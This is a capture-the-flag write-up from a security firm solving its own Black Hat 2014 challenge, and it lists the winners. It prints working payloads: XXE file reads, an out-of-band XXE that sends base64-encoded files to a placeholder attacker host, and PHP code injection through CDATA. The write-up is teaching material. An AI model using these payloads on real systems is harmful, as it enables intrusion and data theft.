We recently ran our Black Hat challenge where the ultimate prize was a seat on one of our training courses at Black Hat this year. This would allow the winner to attend any one of the following:
The challenge was extremely well received and we received 6 successful entries and numerous other attempts. All the solutions were really awesome and we saw unique attacks, with the first three entrants all solving the challenge in a different way.
As stated, there are multiple ways of solving the challenge, we are just going to outline one way that hopefully provides multiple techniques which can be used in real-world pentests.
The challenge started with the initial goal of "Read the file /home/spuser/flag1.txt
" . When visiting the challenge website there were three initial pages available "index","about" and "login". We had numerous challengers head straight to the login page and attempt SQLi. The other common attack we saw was bruteforce attempts against the login. Both of these were fair attempts, however, the real point of interest should have been the "Feed tester" feature on the index page.
The index page had a feed tester feature, this allowed loading of external XML formatted feeds.
Simply trying out this feature and viewing how it functions. Viewing the feed tester result, we noticed that the contents of the XML formatted RSS feed were echoed and it became clear that this may be vulnerable to XXE. The first step would be to try a simple XML payload such as:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
This would fail with an error message of "Something went wrong". The reason for this was that the application was attempting to parse the XML for valid RSS tags. Thus we need to alter our payload to conform to be a valid RSS feed (We used this
as a template).
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<description>Free web building tutorials</description>
<description>New XML tutorial on W3Schools</description>
And we should see the contents of flag1.txt displayed in our feed:
And we've captured flag1 Now onto flag 2...
The contents of flag1.txt revealed the "access code" we needed to log into the site. So we went over to the login page and entered an email address as the username and the access code as our password. Viola, we now have access to the "main" page as well. This page revealed some new functionality, namely the ability to update our user details. Unfortunately there was no upload function here, so there goes the easy shell upload. We updated the user account and used Burp to look at the submitted request.
The submitted POST request
It looks like we have some more XML being submitted.. Again we tried XXE and found that using "file://" in our payload created an error. There were ways around this, however the returned data would be truncated and we would not be able to see the full contents of flag2.txt... When stuck with XXE and not being able to see the result (or complete result) there is always the chance that we can get the data out via the network. To do this we needed to generate a payload that would allow us to fetch an external DTD and then "submit" the contents of our target file to a server under our control. Our payload on our server looked like this:
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/home/spuser/flag2.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:8000/?%data;'>">
Note how we had to use the php://filter function to base64 encode our payload. This allowed us to avoid control characters breaking the XML structure and URL format. Finally, the payload submitted to the challenge server simply consisted of:
<?xml version="1.0" ?>
<!DOCTYPE r [<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:8000/ev.xml">
We didn't really need to worry about what happens after our "XXE payload" because the xmldecoder had already submitted the contents of file2.txt to our server before the application code started parsing the XML document. When submitting the payload we needed to encode the % and & symbols otherwise these broke the XML decoder.
Our payload was correctly encoded submitted to the profile update function.
As soon as the XML decoder parsed our malicious payload, we would receive the base64 encoded contents on our server:
The challenge server would send the contents of flag2.txt to our server.
Now it was a simple matter of decoding the payload and we had the second flag. This was not the only way to get flag 2! It was the most "fun" way of doing it though and used a really handy method. Remember it for your next pentest...
Flag 3 AKA "get your name on the wall of fame":
Flag 2 gave us the access code we needed to unlock the final piece of the challenge. This presented us with the "add a feed" feature. Again, we first tried out the new feature to see what was happening. Our first observation was that nothing happens when we just add the feed. However, things do get interesting when we view our new feed. The new feed is displayed in a freshly generated php page. This should have triggered warning bells, we've got php being generated, how about we inject some php? Looking at the feed creation we again note that the payload consists of some XML being submitted. Now if we wanted to inject a shell, how would we do this without breaking the XML structure? Two options were available to us, one, encoding and two XML trickery. The encoding option was simple, simply encode all the angle brackets of our php payload and then insert it into our XML payload. This worked because php was kind enough to decode the URL encoded elements AFTER the XML decoder had done it's thing. Thus the XML validated successfully and our encoded characters got decoded back into their original form before being inserted into our new php file. The second option was to surround our php code with CDATA tags. The CDATA tags told the XML decoder not to parse the content surrounded by these tags as XML but rather treat it as free text. Simple enough and quicker than manually encoding our payload. Thus our new payload would look as follows:
<feed><name><![CDATA[<?php system('echo etienne >> /home/spuser/wof.txt') ?>]]></name><url>http://google.com/</url></feed>
Now we had a new link created in the feeds list. We could navigate to this new feed and our php code would get executed as the page loaded. And boom, just like that our name should be on the "Wall of Fame". We could easily verify this by using the XXE from flag 1 and fetching /home/spuser/wof.txt instead. Below is the "Wall of Fame" at time of writing:
- send9 wuz here
- @leonjza was here :)
- harry@nsense was here 1403445693
- marquee was here
- El Gato!El Gato!
Congratulations to everyone who finished the challenge! However, there could only be one winner. The winner is Espes
, who narrowly beat our two runners up to win a training ticket for any one of our course at Black Hat Vegas 2014.
The two runners up who both can claim one of our awesome 2014 t-shirts:
Vitaly aka @send9
Sash aka @secdefect
Education is the most powerful weapon which you can use to change the world - Nelson Mandela